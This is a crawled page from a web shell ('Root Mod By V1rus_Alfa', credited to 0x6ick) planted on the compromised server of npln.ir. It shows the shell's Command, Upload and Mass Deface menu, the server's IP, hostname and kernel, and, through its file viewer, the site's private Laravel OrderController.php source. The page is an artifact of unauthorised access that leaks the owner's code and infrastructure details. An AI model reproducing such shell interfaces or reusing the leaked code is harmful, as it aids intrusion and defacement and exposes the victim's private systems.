���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Http
/
Controllers
/
api
/
v1
/
Viewing: OrderController.php
<?php namespace App\Http\Controllers\api\v1; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; use function App\Helpers\error_response; use function App\Helpers\success_response; use App\Helpers\HelperClass\GeneralUse; use function App\Helpers\dateConvert; use function App\Helpers\DateNow; use function App\Helpers\saveUser; use function App\Helpers\uploadFile; use function App\Helpers\sendSms; use Illuminate\Filesystem\Filesystem; use App\Models\OrderStatus; use App\Models\OrderGroup; use App\Models\OrderSlice; use App\Models\OrderLog; use App\Models\User; use App\Models\Order; use App\Models\UserServices; use App\Models\Message; use Carbon\Carbon; use PDF; class OrderController extends Controller { public function edit_order(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', 'name' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } Order::where('id',$request->order_id)->where('user_id',Auth::user()->id)->update([ 'name'=>$request->name ]); $data=['status'=> 'success']; return success_response($data); } public function count_open_orders() { $has="false"; $not_1=GeneralUse::name_status(9); $not_2=GeneralUse::name_status(4); $check=Order::whereNotIn('status_services',[$not_1,$not_2])->where('user_id',Auth::user()->id)->first(); if($check){ $has="true"; } $data=['status'=> $has]; return success_response($data); } public function init_order(Request $request) { $validation=Validator::make($request->all(),[ 'category_id' => 'required|notIn:0', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $check=User::where('roll','services')->first(); if(!$check){ return error_response(' کاربر خدماتی انتخاب شده وجود ندارد '); } $status_services=OrderStatus::orderby('order_sort','asc')->where('order_dashboard','true')->first(); $status_em_services=OrderStatus::orderby('performance_sort','asc')->where('performance_dashboard','true')->first(); saveUser(Auth::user()->id,$check->id); $customer_id=null; $customer=UserServices::where('services_id',$check->id)->where('user_id',Auth::user()->id)->first(); if($customer){ $customer_id=$customer->id; } $order=Order::create([ 'services_id'=>$check->id, 'name'=>'---', 'type'=>'chat', 'platform'=>'اپلیکیشن', 'status_services'=>$status_services->title, 'status_em_services'=>$status_em_services->title, 'user_id'=>Auth::user()->id, 'customer_id'=>$customer_id, 'category_id'=>$request->category_id ]); GeneralUse::make_order_status($order->id,$status_services->title,$status_em_services->title); //SendPush $firebaseToken = User::whereIn('roll',['ADMIN','services','manager_order'])->whereNotNull('device_token')->pluck('device_token')->all(); GeneralUse::send_push_massage($firebaseToken,'order',$order->id); //send-sms $data=['order'=> $order]; return success_response($data); } public function orders(Request $request) { $count=Order::where('user_id',Auth::user()->id) ->when($request->search,function($q) use ($request) { $q->where(function($q) use ($request){ $q->where('orders.name', 'like', '%'.$request->search.'%') ->orWhere('orders.number', 'like', '%'.$request->search.'%'); }); }) ->when($request->id,function($q) use ($request) { $q->where('orders.id', $request->id); }) ->when($request->status,function($q) use ($request) { $q->where('orders.status', $request->status); }) ->with('message','services','logs','factorhas')->count(); $orders=Order::where('user_id',Auth::user()->id) ->when($request->search,function($q) use ($request) { $q->where(function($q) use ($request){ $q->where('orders.name', 'like', '%'.$request->search.'%') ->orWhere('orders.number', 'like', '%'.$request->search.'%'); }); }) ->when($request->id,function($q) use ($request) { $q->where('orders.id', $request->id); }) ->when($request->number,function($q) use ($request) { $q->where('orders.number', 'like', '%'.$request->number.'%'); }) ->when($request->status,function($q) use ($request) { $q->where('orders.status', $request->status); }) ->with('category','message','services','logs','factorhas','filesApp','threeDfilesApp') ->latest()->paginate(5); foreach ($orders as $order) { $order['payment_link'] = $order->payment_link(); $order['time_estimate'] = dateConvert($order->time_estimate,'format'); } $data=['orders'=> $orders,'count'=> $count]; return success_response($data); } public function order(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('user_id',Auth::user()->id)->where('id',$request->order_id) ->with(['filesApp','threeDfilesApp'])->first(); $order['payment_link'] = $order->payment_link(); $order['time_estimate'] = dateConvert($order->time_estimate,'format'); $data=['order'=> $order]; return success_response($data); } public function send_message(Request $request,Filesystem $filesystem) { $validation=Validator::make($request->all(),[ 'type' => 'required|in:text,file', 'msg' => 'required', 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $order=Order::where('id',$request->order_id)->where('user_id',Auth::user()->id)->first(); if($order){ if($request->type != 'text'){ $validation=Validator::make($request->all(),[ 'msg' => 'mimes:heic,jpeg,jpg,png,pdf,xlsx,xls,txt,docx,mp4,ogg,mp3,dwg,dxf,m4a,3gp|max:30720', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $msg=uploadFile($request->msg); $mims='text'; $explode=explode('.',env('FILE_URL').$msg); if(count($explode) > 0){ $mims=$explode[count($explode)-1]; } }else{ $msg=$request->msg; $mims=$request->type; } $message=Message::create([ 'msg'=>$msg, 'mims'=>$mims, 'type'=>$request->type, 'date_show'=>DateNow('add_day_s',0), 'status'=>'user', 'class'=>'order', 'sender_id'=>Auth::user()->id, 'order_id'=>$request->order_id ]); $firebaseToken = User::whereIn('roll',['ADMIN','services'])->whereNotNull('device_token')->pluck('device_token')->all(); GeneralUse::send_push_massage($firebaseToken,'chat',$order->id); $data=['message'=> $message]; return success_response($data); }else{ return error_response(' سفارش انتخاب شده وجود ندارد '); } } public function messages(Request $request) { $validation=Validator::make($request->all(),[ 'order_id' => 'required', ]); if($validation->fails()){ return error_response($validation->messages()->first(),true,422); } $messages=Message::where('class','order')->where('order_id',$request->order_id)->where(function($q){ $q->where(function($a) { $a->where('sender_id',Auth::user()->id); })->orWhere(function($b) { $b->Where('receptor_id',Auth::user()->id); }); })->latest()->get(); Message::where('class','order')->where('status','admin')->where('order_id',$request->order_id)->update([ 'seen'=>'yes' ]); $data=['messages'=> $messages]; return success_response($data); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa